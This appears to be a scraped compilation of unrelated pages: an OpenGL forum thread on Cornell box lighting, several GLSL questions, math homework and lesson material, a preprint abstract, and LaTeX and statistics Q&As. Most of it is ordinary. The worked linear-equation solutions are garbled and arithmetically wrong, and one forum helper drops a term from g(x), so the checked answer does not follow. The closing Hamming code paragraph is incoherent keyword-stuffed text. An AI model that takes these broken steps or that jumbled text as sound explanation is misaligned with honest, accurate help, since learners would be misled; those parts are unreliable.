Well, i was setting up an hardcoded cornell box scene with opengl because i want to learn glsl and hopefully write a fragment shader path tracer
so i copied [url="http://www.graphics.cornell.edu/online/box/data.html"]these[/url] data ([url="http://pastebin.com/w3gmZf8x"]here[/url]'s the code), but i had a result i didn't expect, and i don't understand
[img]http://img213.imageshack.us/img213/4859/cb1y.png[/img]
There's no reason for having an enlighted left wall and such a dark right wall.. also that floor shouldnt be so dark if the bottom of the left wall is still enlighted
But if i invert floor and right wall normal direction (right wall normal = (-1, 0, 0) and floor normal = (0, -1, 0)) i get something similiar to what i expected
[img]http://img3.imageshack.us/img3/8167/cb2v.png[/img]
i feel like i'm missing something :/ Edited by tuccio
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The light parameters are 4-dimensional vectors, not 3-dimensional vectors as in your code. OpenGL is currently reading the fourth component from outside the corresponding arrays.
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[quote name='Brother Bob' timestamp='1340976491' post='4953950']
The light parameters are 4-dimensional vectors, not 3-dimensional vectors as in your code. OpenGL is currently reading the fourth component from outside the corresponding arrays.
[/quote]oh, thank you
that helped, and now it works fine if i set position's w component to 1 (so that the light propagates in all directions), as you can see:
[img]http://img88.imageshack.us/img88/783/cb3p.png[/img]
but if i put w to 0 to get a directional light, this is what i get:
[img]http://img151.imageshack.us/img151/431/cb4.png[/img]
the code now looks like [url="http://pastebin.com/i4XxVjxW"]this[/url]
i guess i'm still missing something :/ Edited by tuccio
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What do you think is wrong with the directional light? If the light is coming from the upper left in the image, then the bottom and right faces are lit since they face the light, and the right and top faces are not lit since they are not facing the light.
I haven't looked much into the exact details of where the light is pointing, where the view point is facing, and which wall is where though, so I don't know for sure if the light really is supposed to come from the upper left. If the incorrect faces are lit, then make sure that the normals are in fact correct, and that you are viewing from the correct place.
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[quote name='Brother Bob' timestamp='1340979365' post='4953961']
What do you think is wrong with the directional light? If the light is coming from the upper left in the image, then the bottom and right faces are lit since they face the light, and the right and top faces are not lit since they are not facing the light.
I haven't looked much into the exact details of where the light is pointing, where the view point is facing, and which wall is where though, so I don't know for sure if the light really is supposed to come from the upper left. If the incorrect faces are lit, then make sure that the normals are in fact correct, and that you are viewing from the correct place.
[/quote]the light is in the middle (sort of) of the room, actually closer to the ceiling than the floor, and the direction points towards the floor
also, changing the direction of the light and the spot cutoff doesnt change the result, and this is weird too
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You have a directional light, not a positional one. Spotlight settings only work for positional lights. Set the w-component of the position to 1 instead.
Also, don't expect very good results. Lighting is calculated per vertex so you need to define a much higher resolution cube to have some sensible results.
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[quote name='Brother Bob' timestamp='1340990970' post='4954010']
You have a directional light, not a positional one. Spotlight settings only work for positional lights. Set the w-component of the position to 1 instead.
Also, don't expect very good results. Lighting is calculated per vertex so you need to define a much higher resolution cube to have some sensible results.
[/quote]yup i think i understand
and yes, i didn't expect great results, i'm using a low tesselated cube because, as i said, i want to learn glsl and use fragment shaders to compute direct and indirect lighting
thank you again
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• ### Similar Content
• Hello, I have been working on SH Irradiance map rendering, and I have been using a GLSL pixel shader to render SH irradiance to 2D irradiance maps for my static objects. I already have it working with 9 3D textures so far for the first 9 SH functions.
In my GLSL shader, I have to send in 9 SH Coefficient 3D Texures that use RGBA8 as a pixel format. RGB being used for the coefficients for red, green, and blue, and the A for checking if the voxel is in use (for the solidification shader of course ;)).
My problem is, I want to knock this number of textures down to something like 4 or 5. Getting even lower would be a godsend. This is because I eventually plan on adding more SH Coefficient 3D Textures for other parts of the game map (such as inside rooms, as opposed to the outside), to circumvent irradiance probe bleeding. I don't want to reach the 32 texture limit too soon. Also, I figure that it would be a LOT faster.
Is there a way I could, say, store 2 sets of SH Coefficients for 2 SH functions inside a texture with RGBA16 pixels? If so, how would I extract them from inside GLSL? Let me know if you have any suggestions ^^.
• By DaniDesu
#include "MyEngine.h" int main() { MyEngine myEngine; myEngine.run(); return 0; } MyEngine.h
#pragma once #include "MyWindow.h" #include "MyShaders.h" #include "MyShapes.h" class MyEngine { private: GLFWwindow * myWindowHandle; MyWindow * myWindow; public: MyEngine(); ~MyEngine(); void run(); }; MyEngine.cpp
#pragma once #include <glad\glad.h> #include <GLFW\glfw3.h> class MyWindow { private: GLFWwindow * windowHandle; int windowWidth; int windowHeight; const char * windowTitle; public: MyWindow(int windowWidth, int windowHeight, const char * windowTitle); ~MyWindow(); GLFWwindow * getWindowHandle(); void createWindow(); void MyWindow::destroyWindow(); }; MyWindow.cpp
#include "MyWindow.h" MyWindow::MyWindow(int windowWidth, int windowHeight, const char * windowTitle) { this->windowHandle = NULL; this->windowWidth = windowWidth; this->windowWidth = windowWidth; this->windowHeight = windowHeight; this->windowTitle = windowTitle; glfwInit(); } MyWindow::~MyWindow() { } GLFWwindow * MyWindow::getWindowHandle() { return this->windowHandle; } void MyWindow::createWindow() { // Use OpenGL 3.3 and GLSL 3.3 glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3); glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3); // Limit backwards compatibility glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE); glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE); // Prevent resizing window glfwWindowHint(GLFW_RESIZABLE, GL_FALSE); // Create window this->windowHandle = glfwCreateWindow(this->windowWidth, this->windowHeight, this->windowTitle, NULL, NULL); glfwMakeContextCurrent(this->windowHandle); } void MyWindow::destroyWindow() { glfwTerminate(); } MyShapes.h
#pragma once #include <glad\glad.h> #include <GLFW\glfw3.h> class MyShapes { public: MyShapes(); ~MyShapes(); GLuint & drawTriangle(float coordinates[]); }; MyShapes.cpp
#include "MyShapes.h" MyShapes::MyShapes() { } MyShapes::~MyShapes() { } GLuint & MyShapes::drawTriangle(float coordinates[]) { GLuint vertexBufferObject{}; GLuint vertexArrayObject{}; // Create a VAO glGenVertexArrays(1, &vertexArrayObject); glBindVertexArray(vertexArrayObject); // Send vertices to the GPU glGenBuffers(1, &vertexBufferObject); glBindBuffer(GL_ARRAY_BUFFER, vertexBufferObject); glBufferData(GL_ARRAY_BUFFER, sizeof(coordinates), coordinates, GL_STATIC_DRAW); // Dertermine the interpretation of the array buffer glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 3*sizeof(float), (void *)0); glEnableVertexAttribArray(0); // Unbind the buffers glBindBuffer(GL_ARRAY_BUFFER, 0); glBindVertexArray(0); return vertexArrayObject; } MyFileHandler.h
#pragma once #include <cstdio> #include <cstdlib> class MyFileHandler { private: const char * fileName; unsigned long fileSize; void setFileSize(); public: MyFileHandler(const char * fileName); ~MyFileHandler(); unsigned long getFileSize(); const char * readFile(); }; MyFileHandler.cpp
#include "MyFileHandler.h" MyFileHandler::MyFileHandler(const char * fileName) { this->fileName = fileName; this->setFileSize(); } MyFileHandler::~MyFileHandler() { } void MyFileHandler::setFileSize() { FILE * fileHandle = NULL; fopen_s(&fileHandle, this->fileName, "rb"); fseek(fileHandle, 0L, SEEK_END); this->fileSize = ftell(fileHandle); rewind(fileHandle); fclose(fileHandle); return; } unsigned long MyFileHandler::getFileSize() { return (this->fileSize); } const char * MyFileHandler::readFile() { char * buffer = (char *)malloc((this->fileSize)+1); FILE * fileHandle = NULL; fopen_s(&fileHandle, this->fileName, "rb"); fread(buffer, this->fileSize, sizeof(char), fileHandle); fclose(fileHandle); buffer[this->fileSize] = '\0'; return buffer; } VertexShader.glsl
#version 330 core layout (location = 0) vec3 VertexPositions; void main() { gl_Position = vec4(VertexPositions, 1.0f); } FragmentShader.glsl
#version 330 core out vec4 FragmentColor; void main() { FragmentColor = vec4(1.0f, 0.0f, 0.0f, 1.0f); } I am attempting to create a simple engine/graphics utility using some object-oriented paradigms. My first goal is to get some output from my engine, namely, a simple red triangle.
For this goal, the MyShapes class will be responsible for defining shapes such as triangles, polygons etc. Currently, there is only a drawTriangle() method implemented, because I first wanted to see whether it works or not before attempting to code other shape drawing methods.
The constructor of the MyEngine class creates a GLFW window (GLAD is also initialized here to load all OpenGL functionality), and the myEngine.run() method in Main.cpp is responsible for firing up the engine. In this run() method, the shaders get loaded from files via the help of my FileHandler class. The vertices for the triangle are processed by the myShapes.drawTriangle() method where a vertex array object, a vertex buffer object and vertrex attributes are set for this purpose.
The while loop in the run() method should be outputting me the desired red triangle, but all I get is a grey window area. Why?
(Note: I am aware that this code is not using any good software engineering practices (e.g. exceptions, error handling). I am planning to implement them later, once I get the hang of OpenGL.)
• By KarimIO
EDIT: I thought this was restricted to Attribute-Created GL contexts, but it isn't, so I rewrote the post.
Hey guys, whenever I call SwapBuffers(hDC), I get a crash, and I get a "Too many posts were made to a semaphore." from Windows as I call SwapBuffers. What could be the cause of this?
Update: No crash occurs if I don't draw, just clear and swap.
static PIXELFORMATDESCRIPTOR pfd = // pfd Tells Windows How We Want Things To Be { sizeof(PIXELFORMATDESCRIPTOR), // Size Of This Pixel Format Descriptor 1, // Version Number PFD_DRAW_TO_WINDOW | // Format Must Support Window PFD_SUPPORT_OPENGL | // Format Must Support OpenGL PFD_DOUBLEBUFFER, // Must Support Double Buffering PFD_TYPE_RGBA, // Request An RGBA Format 32, // Select Our Color Depth 0, 0, 0, 0, 0, 0, // Color Bits Ignored 0, // No Alpha Buffer 0, // Shift Bit Ignored 0, // No Accumulation Buffer 0, 0, 0, 0, // Accumulation Bits Ignored 24, // 24Bit Z-Buffer (Depth Buffer) 0, // No Stencil Buffer 0, // No Auxiliary Buffer PFD_MAIN_PLANE, // Main Drawing Layer 0, // Reserved 0, 0, 0 // Layer Masks Ignored }; if (!(hDC = GetDC(windowHandle))) return false; unsigned int PixelFormat; if (!(PixelFormat = ChoosePixelFormat(hDC, &pfd))) return false; if (!SetPixelFormat(hDC, PixelFormat, &pfd)) return false; hRC = wglCreateContext(hDC); if (!hRC) { std::cout << "wglCreateContext Failed!\n"; return false; } if (wglMakeCurrent(hDC, hRC) == NULL) { std::cout << "Make Context Current Second Failed!\n"; return false; } ... // OGL Buffer Initialization glClear(GL_DEPTH_BUFFER_BIT | GL_COLOR_BUFFER_BIT); glBindVertexArray(vao); glUseProgram(myprogram); glDrawElements(GL_TRIANGLES, indexCount, GL_UNSIGNED_SHORT, (void *)indexStart); SwapBuffers(GetDC(window_handle));
• By Tchom
Hey devs!
I've been working on a OpenGL ES 2.0 android engine and I have begun implementing some simple (point) lighting. I had something fairly simple working, so I tried to get fancy and added color-tinting light. And it works great... with only one or two lights. Any more than that, the application drops about 15 frames per light added (my ideal is at least 4 or 5). I know implementing lighting is expensive, I just didn't think it was that expensive. I'm fairly new to the world of OpenGL and GLSL, so there is a good chance I've written some crappy shader code. If anyone had any feedback or tips on how I can optimize this code, please let me know.
uniform mat4 u_MVPMatrix; uniform mat4 u_MVMatrix; attribute vec4 a_Position; attribute vec3 a_Normal; attribute vec2 a_TexCoordinate; varying vec3 v_Position; varying vec3 v_Normal; varying vec2 v_TexCoordinate; void main() { v_Position = vec3(u_MVMatrix * a_Position); v_TexCoordinate = a_TexCoordinate; v_Normal = vec3(u_MVMatrix * vec4(a_Normal, 0.0)); gl_Position = u_MVPMatrix * a_Position; } Fragment Shader
precision mediump float; uniform vec4 u_LightPos["+numLights+"]; uniform vec4 u_LightColours["+numLights+"]; uniform float u_LightPower["+numLights+"]; uniform sampler2D u_Texture; varying vec3 v_Position; varying vec3 v_Normal; varying vec2 v_TexCoordinate; void main() { gl_FragColor = (texture2D(u_Texture, v_TexCoordinate)); float diffuse = 0.0; vec4 colourSum = vec4(1.0); for (int i = 0; i < "+numLights+"; i++) { vec3 toPointLight = vec3(u_LightPos[i]); float distance = length(toPointLight - v_Position); vec3 lightVector = normalize(toPointLight - v_Position); float diffuseDiff = 0.0; // The diffuse difference contributed from current light diffuseDiff = max(dot(v_Normal, lightVector), 0.0); diffuseDiff = diffuseDiff * (1.0 / (1.0 + ((1.0-u_LightPower[i])* distance * distance))); //Determine attenuatio diffuse += diffuseDiff; gl_FragColor.rgb *= vec3(1.0) / ((vec3(1.0) + ((vec3(1.0) - vec3(u_LightColours[i]))*diffuseDiff))); //The expensive part } diffuse += 0.1; //Add ambient light gl_FragColor.rgb *= diffuse; } Am I making any rookie mistakes? Or am I just being unrealistic about what I can do? Thanks in advance
• By yahiko00
Hi,
Not sure to post at the right place, if not, please forgive me...
For a game project I am working on, I would like to implement a 2D starfield as a background.
I do not want to deal with static tiles, since I plan to slowly animate the starfield. So, I am trying to figure out how to generate a random starfield for the entire map.
I feel that using a uniform distribution for the stars will not do the trick. Instead I would like something similar to the screenshot below, taken from the game Star Wars: Empire At War (all credits to Lucasfilm, Disney, and so on...).
Is there someone who could have an idea of a distribution which could result in such a starfield?
Any insight would be appreciated
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# POLQ 1 | Lesson 3 | Practice (Finding GCDs of Monomials)
Find the GCD of the sets of terms below using the strategies (mental math, factor trees, and/or factor ladders) you used for the numbers on the last page:
a) $$4x, \, 8x^2$$
Hint: $$4x = 4 * x$$ and $$8x^2 = 2*4*x*x$$ What do the two factored forms of the monomial share? $$4x$$ is your GCD or GCF.
b) $$12x^2,\, 24x,\, 36x^3$$
c) $$32xy,\, 8x^2y^2,\, -16xy^3$$
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# Preprint: On the chaotic character of the stochastic heat equation, II
## Daniel Conus, Mathew Joseph, Davar Khoshnevisan, and Shang-Yuan Shiu
Abstract. Consider the stochastic heat equation $$\partial_t u = (\kappa/2)\Delta u+\sigma(u)\dot{F}$$, where the solution $$u:=u_t(x)$$ is indexed by $$(t\,,x)\in (0\,,\infty)\times{\bf R}^d$$, and $$\dot{F}$$ is a centered Gaussian noise that is white in time and has spatially-correlated coordinates. We analyze the large-$$\|x\|$$ fixed-$$t$$ behavior of the solution $$u$$ in different regimes, thereby study the effect of noise on the solution in various cases. Among other things, we show that if the spatial correlation function $$f$$ of the noise is of Riesz type, that is $$f(x)\propto \|x\|^{-\alpha}$$, then the "fluctuation exponents" of the solution are $$\psi$$ for the spatial variable and $$2\psi-1$$ for the time variable, where $$\psi:=2/(4-\alpha)$$. Moreover, these exponent relations hold as long as $$\alpha\in(0\,,d\wedge 2)$$; that is precisely when Dalang's theory (1999) implies the existence of a solution to our stochastic PDE. These findings bolster earlier physical predictions [Kardar, Parisi, and Zhang, 1985; Kardar and Zhang, 1987].
Keywords. The stochastic heat equation, chaos, intermittency, the parabolic Anderson model, the KPZ equation, critical exponents
AMS Classification (2000) Primary: 60H15; Secondary: 35R60.
Support. Research supported in part by the NSF grants DMS-0747758 (M.J.) and DMS-1006903 (D.K.).
Pre/E-Prints. This paper is available in
Daniel Conus Lehigh University, Department of Mathematics, Christmas--Saucon Hall, 14 East Packer Avenue, Bethlehem, PA 18015 (daniel [dot sign] conus [at sign] lehigh [dot sign] edu>) Department of Mathematics University of Utah, 155 S, 1400 E JWB 233, Salt Lake City, UT 84112-0090, U.S.A. (joseph [at sign] math [dot sign] utah [dot sign] edu & davar[at sign] math [dot sign] utah [dot sign] edu) Institute of Mathematics, Academia Sinica, Taipei 10617 (shiu[dot sign] math [at sign] sinica [dot sign] edu [dot sign] tw>)
Last Update: November 21, 2011
© 2011 - Daniel Conus, Mathew Joseph, Davar Khoshnevisan, and Shang-Yuan Shiu
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## Algebra 1: Common Core (15th Edition)
$400$
Using percents, we find: $0.20x=80$ $\frac{0.20x}{0.20}=\frac{80}{0.20}$ $x=400$
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## anonymous one year ago A graph of 2 functions is shown below. graph of function f of x equals negative 2 multiplied by x plus 3 and graph of function g of x equals x cubed plus 4 multiplied by x squared minus x minus 4 Which of the following is an approximate solution for f(x) = g(x)? x = 1 x = −1 x = −4 x = 2
1. anonymous
@Vocaloid
2. anonymous
@ospreytriple
3. anonymous
@Michele_Laino
4. anonymous
@LiveLaughDie
5. Plasmataco
Set the 2 equations to equal each other
6. Michele_Laino
the equations of your functions, are: $\Large \begin{gathered} f\left( x \right) = - 2x + 3 \hfill \\ g\left( x \right) = {x^3} + 4{x^2} - 4 \hfill \\ \end{gathered}$ now, you have to establish, what vauel of x, among that you have listed above, is the one such that g(x)=f(x)
7. Michele_Laino
value*
8. Plasmataco
U get 2x+3=X powered 3+4x powered 2-x-4
9. anonymous
okay :]
10. Plasmataco
Simplify it so that 0 is on one side
11. Michele_Laino
for example, let's consider x=-1, then we have: $\Large \begin{gathered} f\left( { - 1} \right) = - 2 \cdot \left( { - 1} \right) + 3 = 5 \hfill \\ g\left( { - 1} \right) = {\left( { - 1} \right)^3} + 4{\left( { - 1} \right)^2} - 4 = - 1 + 4 - 4 = - 1 \hfill \\ \end{gathered}$ so our value for x, can not be x=-1
12. Plasmataco
Now u get X powered 3+4x powered 2+x-7
13. Plasmataco
Which is all. Equal to 0
14. anonymous
okay :]
15. Plasmataco
Now, factor is to some thing like (x+a)(x+b)(x+c)
16. Michele_Laino
plese, try with x=1, namely replace x with 1, into both functions f(x), and g(x), what do you get?
17. anonymous
ok give me 1 min ;]
18. Michele_Laino
19. anonymous
$f(−4)=−2⋅(−4)+3=5g(−4)=(−4)^3+4(−4)^2−4=-4+4−4=-4?$
20. Plasmataco
I'll let u do it @Michele_Laino s way but with this, u get an approximation of 1
21. Michele_Laino
we have: $\Large \begin{gathered} f\left( { - 4} \right) = - 2\left( { - 4} \right) + 3 = 11 \hfill \\ g\left( { - 4} \right) = {\left( { - 4} \right)^3} + 4{\left( { - 4} \right)^2} - 4 = - 64 + 64 - 4 = - 4 \hfill \\ \end{gathered}$
22. anonymous
Oh
23. Michele_Laino
please compute these quantities: $\Large \begin{gathered} f\left( 1 \right) = ... \hfill \\ g\left( 1 \right) = ... \hfill \\ \end{gathered}$
24. anonymous
So its 1?
25. Michele_Laino
we have: $\Large \begin{gathered} f\left( 1 \right) = - 2 \cdot 1 + 3 = - 2 + 3 = 1 \hfill \\ g\left( 1 \right) = {1^3} + 4 \cdot {1^2} - 4 = 1 + 4 - 4 = 1 \hfill \\ \end{gathered}$
26. Michele_Laino
so, it is x=1
27. anonymous
Thank you!
28. Michele_Laino
:)
29. anonymous
Can you check one for me?
30. Michele_Laino
ok!
31. anonymous
Wait nvm! I got it !Thank you!
32. Michele_Laino
ok! :)
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# Changes package: how to “delete” a footnote?
I am again facing an issue with the changes package regarding footnotes: is it possible to somehow use it to mark the deletion of a footnote? If I use the code below, the final version still features the footnote. How can I get rid of it, while still being able to highlight its deletion (in the non-final version)? Thanks, Jorge.
Example:
\documentclass{article}
\usepackage[paperheight=4cm,paperwidth=8cm,margin=0.5cm]{geometry}
\usepackage{changes}
%\usepackage[final]{changes}
\begin{document}
% This compiles, but doesn't yield the desired output:
Let's try deleting a footnote\footnote{\deleted{Which had some text.}}.
% This doesn't compile:
%Let's try deleting a footnote\deleted{\footnote{Which had some text.}}.
\end{document}
Output (non-final left; final right):
## 1 Answer
You have the \deleted command inside the command footnote. But this way the footnote will remain there and will be empty after selecting filal option of changes.
The (boolean) variable that shows if the version is draft is named Changes@optiondraft and also the package ifthen is loaded.
So, my idea is to define a command \deletedfootnote and when you want to delete a whole footnote, add deleted word before the footnote of the command \footnote like this \deletedfootnote
The code is here:
\documentclass{article}
\usepackage[paperheight=4cm,paperwidth=8cm,margin=0.5cm]{geometry}
\usepackage{changes}
%\usepackage[final]{changes}
\makeatletter
\newcommand\deletedfootnote[1]{%
\ifthenelse{\boolean{Changes@optiondraft}}
{\footnote{\deleted{#1}}}
{}}
\makeatother
\begin{document}
% This compiles, but doesn't yield the desired output:
Let's try deleting a footnote\deletedfootnote{Which had some text.}.
% This doesn't compile:
%Let's try deleting a footnote\deleted{\footnote{Which had some text.}}.
\end{document}
Output with draft:
Output with final
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# How to get the normalized log-normal distribution equation?
1. Nov 26, 2014
### Seunghyun Moon
I have a quick(?) question about log-normal distribution. As far as I know, the right-side equation (from wiki) is the PDF of log-normal distribution. However... How I can get the left-side equation....??
#### Attached Files:
• ###### log-normal distribution.png
File size:
101.8 KB
Views:
524
2. Nov 26, 2014
### Simon Bridge
The RHS equation is the normalized log distribution.
The LHS shows the norm-log distribution... compare with normal distribution.
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# Lesson 3
Prime and Composite Numbers
## Warm-up: Choral Count: Twos and Fives (10 minutes)
### Narrative
The purpose of this Choral Count is to invite students to practice counting by 2 and 5 and notice patterns in the count. These understandings help students develop fluency and will be helpful later when students find factor pairs.
When students predict common multiples for 2 and 5 based on the numbers recorded from the count and what they know about multiplication, they look for and express regularity in repeated reasoning (MP8).
### Launch
• “Count by 2, starting at 0.”
• Record as students count.
• Stop counting and recording at 30.
• “Count by 5, starting at 0.”
• Record as students count.
• Stop counting and recording at 75.
### Activity
• “What patterns do you see in the individual counts?”
• 1–2 minutes: quiet think time
• Record responses.
• “What patterns do you see between the two counts?”
• 1–2 minutes: quiet think time
• Record responses.
### Activity Synthesis
• If it doesn’t come up in the student responses, ask: “How many twos did it take to get to 10? How many fives did it take to get to 10?” (It took 5 twos and 2 fives to get to 10.)
• “Ten is a multiple of 2 and 5. Do you notice any other multiples of both 2 and 5?” (20 and 30 are on both lists.)
• 1 minute: partner discussion
• Record responses.
• “If the counts continue, what other numbers would you see that are multiples of both 2 and 5?” (I think 40 would be the next common multiple because the multiples are going up by 10. I think 100 would be a common multiple because $$2\times50 = 100$$ and $$5 \times 20 = 100$$.)
• 2 minutes: partner discussion
• Record responses.
## Activity 1: Card Sort: Area (15 minutes)
### Narrative
The purpose of this activity is for students to learn about prime numbers and composite numbers. Students are given a set of cards with rectangles on them. They sort the rectangles by area and then attempt to draw an additional rectangle for each category. They notice that some areas can be represented by more than one rectangle and some areas can only be represented by one rectangle.
During the synthesis, highlight that the side lengths of each rectangle represent one factor pair (each pair of side lengths should be used only once), and that the area of each rectangle represents a multiple of each side length. Students learn that a number with only one factor pair—1 and the number itself—is a prime number, and a number with more than one factor pair is a composite number.
Here is an image of the cards for reference.
MLR8 Discussion Supports. Invite students to take turns selecting a rectangle, and explaining how they should sort it to their partner. Display the following sentence frames: “This rectangle belongs with _____ , because . . .” Encourage students to challenge each other when they disagree.
Engagement: Develop Effort and Persistence. Chunk this task into manageable parts to support organizational skills in problem solving. Some students may benefit from explicit guidance for how to begin. For example, before sorting, students can find the area of each rectangle.
Supports accessibility for: Conceptual Processing, Visual-Spatial Processing, Organization
### Required Materials
Materials to Gather
Materials to Copy
• Card Sort: Area
### Required Preparation
• Create a set of cards from the blackline master for each group of 2.
### Launch
• Groups of 2
• Give each group a set of cards from the blackline master.
• “Sort the cards into categories in any way that makes sense to you.”
• 2 minutes: partner work time
• Ask students to share ways in which they sorted.
### Activity
• “If you did not already, sort the rectangles by their area.”
• 3–5 minutes: partner work time
• Ask students to check their work with another group to make sure the cards in each category match.
• “Now, create at least one rectangle to add to each category in your card sort.”
• 3–5 minutes: partner work time
• Observe the rectangles students add to each category. Monitor for students who notice that no new rectangles could be drawn for the area of 7 square units.
### Student Facing
Your teacher will give you a set of cards to sort.
1. Sort the cards by area. Record your sorting results. Be prepared to explain your choices.
2. For each group of sorted cards, think of at least one more rectangle. Name its length and width. Be prepared to explain your reasoning.
### Activity Synthesis
• Select 2–3 students to share the rectangles they added to each category.
• “Why were you able to create more rectangles for some areas and not others?” (Some of the numbers had more factor pairs. For some numbers, there was only one possible factor pair.)
• Revoice student reasoning. “Only one rectangle can be made for the area of 7. Numbers like this are called prime numbers. Prime numbers have only one factor pair: 1 and itself.”
• “Numbers like 15 that have more than one factor pair are called composite numbers.”
• “What other composite numbers did you work with? How do you know they are composite?” (Twenty-four is a composite number because I can make 2 rows of 12 or 4 rows of 6. Eighteen is composite because it has factor pairs of 2 and 9 and 3 and 6.)
## Activity 2: Prime or Composite? (20 minutes)
### Narrative
In this activity, students use area of rectangles to find all of the factor pairs of a given whole number and decide if the number is prime or composite. The synthesis focuses on finding all possible rectangles for a given area as a strategy to find all the factor pairs of a number. Students may notice that they do not need to find all possible rectangles to determine whether a number is prime or composite.
### Required Materials
Materials to Gather
### Launch
• Groups of 2
• “If you were given a number that is the area of rectangle, how could you find out how many rectangles with that area can be made?” (Test it out with tiles. Think about factor pairs for the number.)
• 1 minute: partner discussion
• Share and record responses.
### Activity
• “Work with your partner to complete this table. Inch tiles and grid paper are available if you’d like them.”
• 10 minutes: partner work time
• Monitor for different ways students find the number of rectangles, such as:
• building the rectangles from inch tiles
• drawing rectangles on grid paper
• drawing rectangles freehand
• listing the factor pairs of the number and knowing that one rectangle corresponds to each pair
### Student Facing
The table shows different areas. How many rectangles can be made for each area?
Complete the table and be prepared to explain or show your reasoning.
Rectangles with the same pair of side lengths should be counted only once. For example, if you count a rectangle with 4 units across and 6 units down, you don’t need to also count a rectangle with 6 units across and 4 units down.
area how many rectangles? prime or composite?
2 square units
10 square units
48 square units
11 square units
21 square units
23 square units
60 square units
32 square units
42 square units
31 square units
56 square units
### Activity Synthesis
• Invite 3–4 groups share their strategy for finding the number of rectangles for a given area.
• “How does the number of factor pairs relate to the number of rectangles?” (The side lengths of each rectangle is a factor pair. So finding all the rectangles would give us all the factor pairs. Or, finding all the factor pairs of the number would tell us how many rectangles have that number for their area.)
• “What are all of the prime numbers in our list? How do we know they are prime?” (2, 23, 31. They each only have one set of side lengths, 1 and the number itself.)
• “What do you notice about the prime numbers?” (They are odd numbers except the number 2.)
• “What is the smallest prime number in our set? Is it the smallest prime number?” (2. I don’t know. Is 1 a prime number?)
• Display a rectangle with an area of 1 square unit.
• “What are the side lengths of a rectangle with an area of 1 square unit?” (1 and 1)
• “Since 1 only has 1 factor, it doesn’t have any factor pairs, so it is neither prime nor composite.”
• “What are all the composite numbers in our set? How do we know they are not prime?” (10, 48, 21, 60, 32, 42, 56. They each have more than 1 factor pair.)
## Lesson Synthesis
### Lesson Synthesis
“Today we learned about prime and composite numbers.”
“How does finding all the rectangles with a certain area tell us if the value of the area is prime or composite?” (The side lengths of each rectangle are a factor pair of the area. If we can find more than one rectangle with that area, that means the number has more than one factor pair and is composite. If we can find only one rectangle, the number is prime.)
“What questions do you still have about these types of numbers?”
## Student Section Summary
### Student Facing
In this section, we used our understanding of the area of rectangles to learn about factors, multiples, factor pairs, prime numbers, and composite numbers.
If we know the side length of a rectangle, we can find the areas that the rectangle could have. For instance, a rectangle with a side length of 3 could have an area of 3, 6, 9, 12, 15, or other numbers that result from multiplying of a whole number and 3. We call these numbers multiples of 3.
If we know the area of a rectangle, we can find the side lengths that it could have. For example, a rectangle with an area of 24 square units can have side lengths of 1 and 24, 2 and 12, 3 and 8, or 4 and 6. We call these possible pairs of side lengths the factor pairs of 24.
We also learned that a number that has only one factor pair—1 and the number itself—is called a prime number. For instance, 5 is prime because its only factor pair is 1 and 5.
A number that has two or more factor pairs is a composite number. For instance, 15 is composite because its factor pairs are 1 and 15, and 3 and 5.
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Number
Statistics and Probability
Algebra: 3.3 Equations
Solve the following linear equations.
1.
$3(3x+6)=72$
Multiply out the bracket and rearrange to get the unknown, $x$, on one side of the equation. Then you can solve for $x$. $3x = 72 3 −6 3x = 24 x = 6$
2.
$3 z −4=6$
Multiply up by $z$ and rearrange to collect the unknown varible, $y$, on to one side of the equation. $3−4z = 6z 3 = 10z z = 3 10$
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This method corrects the error by finding the state at which the error Generating parity information. Online GDB is online compiler and debugger for C/C++. Publisher: Cambridge University Press. receive 4 bits of data and calculate/encoded the Hamming (7,4) Code for transmission. The Hamming(7,4) code goes back to 1950. More specifically, they follow this algorithm: When transmitting a binary number, use the 1st, 2nd, 4th, 8th, etc. What is Hamming distance and write about minimum Hamming distance? 5. It provides guidance on how to respond to job interview questions as well as describes practical examples of answers for questions such as Tell me about yourself? Why should we hire you?. description of the Hamming (7,4) encoding scheme described in class. Data bits are at positions 3,5,6,7,9,10,11,12 e. Every Hamming code over GF ( q ) can be used to build a single-error-correcting convolutional code over GF ( q ). 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How a computer network protocol and a game show strategy can help us ask better questions. • - absolute code - abstract code - address code - aeronautical code - algebraic code - alphanumeric code - alphameric code - answer-back code - antipollution group code - Hamming code - Hanning code - Hollerith code - Huffman code - identifying code - illegal code - instruction code - interleaved. These simple GK questions and answers can be a good repository for kids to improve their awareness in diverse life areas. So, the code will be: “p1 p2 n1 p3 n2 n3 n4” where, n1, n2, n3, n4 are bits of the code and p1, p2 and p3 are parity bits to be calculated. Maritime blog. Making statements based on opinion; back them up with references or personal experience. q-hash codes have applications in constructing small perfect hash families, and it is a classical question to determine the largest rate possible for a q-hash code. Binary to decimal number conversion calculator and how to convert. Which email uses full forms of verbs (I am, I would) instead of contractions (I'm and I'd)? 6A Look at the words in the list and answer the questions. First I Hamming code and distance. I also provide a look up table called hammingPackedDecodeValues which packs two data values into a single unsigned char. Cyclic codes are special linear block codes with one extra. Schools and further education providers: ordering home test kits. If you have any Questions regarding this free Computer Science tutorials ,Short Questions and Answers,Multiple choice Questions And Answers-MCQ sets,Online Test/Quiz,Short Study Notes don’t hesitate to contact us via Facebook,or through our website. The parity bit is added to every data unit (typically seven or eight bits) that are transmitted. Making statements based on opinion; back them up with references or personal experience. Greetings! We have recently published 100+ articles on android tutorials with kotlin and java. Using the Hamming encoding algorithm, what is the original code sent? A receiver receives the code 11001100111. Hamming code is a linear error-detecting and correcting code invented by R. So, the code will be: “p1 p2 n1 p3 n2 n3 n4” where, n1, n2, n3, n4 are bits of the code and p1, p2 and p3 are parity bits to be calculated. Provide details and share your research! Is there better than hamming code for correcting errors. 0 second Memory limit: 64 MB. The rest (3, 5, 6, 7, 9, etc. Peter Norvig wrote an amazing article titled How to Write a Spelling Corrector detailing a basic approach to this deceivingly simple problem. Fault diagnosis: questions and answers Fault diagnosis questions Possible solutions. hamming Distance Algo. Ecg Academy Answers. *Devise a code for the digits 0 to 9 whose Hamming distance is 2. Questions 11 and 12. Hamming code is a type of error correcting code. Let us find the Hamming code for binary code, d 4 d 3 d 2 d 1 = 1000. Hamming code Multiple Choice Question and Answer. How a computer network protocol and a game show strategy can help us ask better questions. "WH - QUESTION WORDS" - Who-Whose-What-When- Where-(( 5 Exercises / 85 Sentences to complete )) - 